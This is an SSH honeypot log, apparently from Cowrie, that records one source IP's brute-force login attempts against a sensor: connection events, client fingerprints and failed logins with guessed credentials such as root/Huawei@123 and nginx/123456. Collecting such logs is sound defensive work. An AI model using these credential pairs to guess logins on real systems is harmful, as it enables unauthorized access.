{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:03.517418Z","src_ip":"192.109.200.237","session":"e6ac7dd08d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:04.603541Z","src_ip":"192.109.200.237","session":"e6ac7dd08d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49454,"dst_ip":"159.203.135.109","dst_port":22,"session":"b863c85ab884","protocol":"ssh","message":"New connection: 192.109.200.237:49454 (159.203.135.109:22) [session: b863c85ab884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:06.313368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:06.321286Z","src_ip":"192.109.200.237","session":"b863c85ab884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:06.405066Z","src_ip":"192.109.200.237","session":"b863c85ab884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:06.657040Z","src_ip":"192.109.200.237","session":"b863c85ab884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:07.744118Z","src_ip":"192.109.200.237","session":"b863c85ab884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49458,"dst_ip":"159.203.135.109","dst_port":22,"session":"7888c8d0c517","protocol":"ssh","message":"New connection: 192.109.200.237:49458 (159.203.135.109:22) [session: 7888c8d0c517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:09.390351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:09.394796Z","src_ip":"192.109.200.237","session":"7888c8d0c517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:09.477000Z","src_ip":"192.109.200.237","session":"7888c8d0c517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:09.847624Z","src_ip":"192.109.200.237","session":"7888c8d0c517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:10.932750Z","src_ip":"192.109.200.237","session":"7888c8d0c517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59274,"dst_ip":"159.203.135.109","dst_port":22,"session":"0185fc6b3da2","protocol":"ssh","message":"New connection: 192.109.200.237:59274 (159.203.135.109:22) [session: 0185fc6b3da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:12.634258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:12.640570Z","src_ip":"192.109.200.237","session":"0185fc6b3da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:12.724172Z","src_ip":"192.109.200.237","session":"0185fc6b3da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:12.971516Z","src_ip":"192.109.200.237","session":"0185fc6b3da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:14.057191Z","src_ip":"192.109.200.237","session":"0185fc6b3da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59286,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c46eef088a","protocol":"ssh","message":"New connection: 192.109.200.237:59286 (159.203.135.109:22) [session: c2c46eef088a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:15.701010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:15.705932Z","src_ip":"192.109.200.237","session":"c2c46eef088a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:15.788084Z","src_ip":"192.109.200.237","session":"c2c46eef088a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:16.038916Z","src_ip":"192.109.200.237","session":"c2c46eef088a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:17.134067Z","src_ip":"192.109.200.237","session":"c2c46eef088a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59306,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb0f5220a60","protocol":"ssh","message":"New connection: 192.109.200.237:59306 (159.203.135.109:22) [session: fdb0f5220a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:18.767945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:18.772757Z","src_ip":"192.109.200.237","session":"fdb0f5220a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:18.856346Z","src_ip":"192.109.200.237","session":"fdb0f5220a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:19.106526Z","src_ip":"192.109.200.237","session":"fdb0f5220a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:20.192558Z","src_ip":"192.109.200.237","session":"fdb0f5220a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d254916e4380","protocol":"ssh","message":"New connection: 192.109.200.237:60646 (159.203.135.109:22) [session: d254916e4380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:21.804513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:21.808900Z","src_ip":"192.109.200.237","session":"d254916e4380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:21.891782Z","src_ip":"192.109.200.237","session":"d254916e4380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:22.261099Z","src_ip":"192.109.200.237","session":"d254916e4380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:23.347061Z","src_ip":"192.109.200.237","session":"d254916e4380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60650,"dst_ip":"159.203.135.109","dst_port":22,"session":"112941ed232c","protocol":"ssh","message":"New connection: 192.109.200.237:60650 (159.203.135.109:22) [session: 112941ed232c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:25.043846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:25.049480Z","src_ip":"192.109.200.237","session":"112941ed232c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:25.132084Z","src_ip":"192.109.200.237","session":"112941ed232c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:25.378655Z","src_ip":"192.109.200.237","session":"112941ed232c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:26.463907Z","src_ip":"192.109.200.237","session":"112941ed232c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60658,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f32ecf7d252","protocol":"ssh","message":"New connection: 192.109.200.237:60658 (159.203.135.109:22) [session: 5f32ecf7d252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:28.066716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:28.070433Z","src_ip":"192.109.200.237","session":"5f32ecf7d252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:28.155665Z","src_ip":"192.109.200.237","session":"5f32ecf7d252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:28.401310Z","src_ip":"192.109.200.237","session":"5f32ecf7d252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:29.486179Z","src_ip":"192.109.200.237","session":"5f32ecf7d252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35420,"dst_ip":"159.203.135.109","dst_port":22,"session":"03e737ebdd53","protocol":"ssh","message":"New connection: 192.109.200.237:35420 (159.203.135.109:22) [session: 03e737ebdd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:31.150957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:31.155433Z","src_ip":"192.109.200.237","session":"03e737ebdd53","protocol":"ssh"}
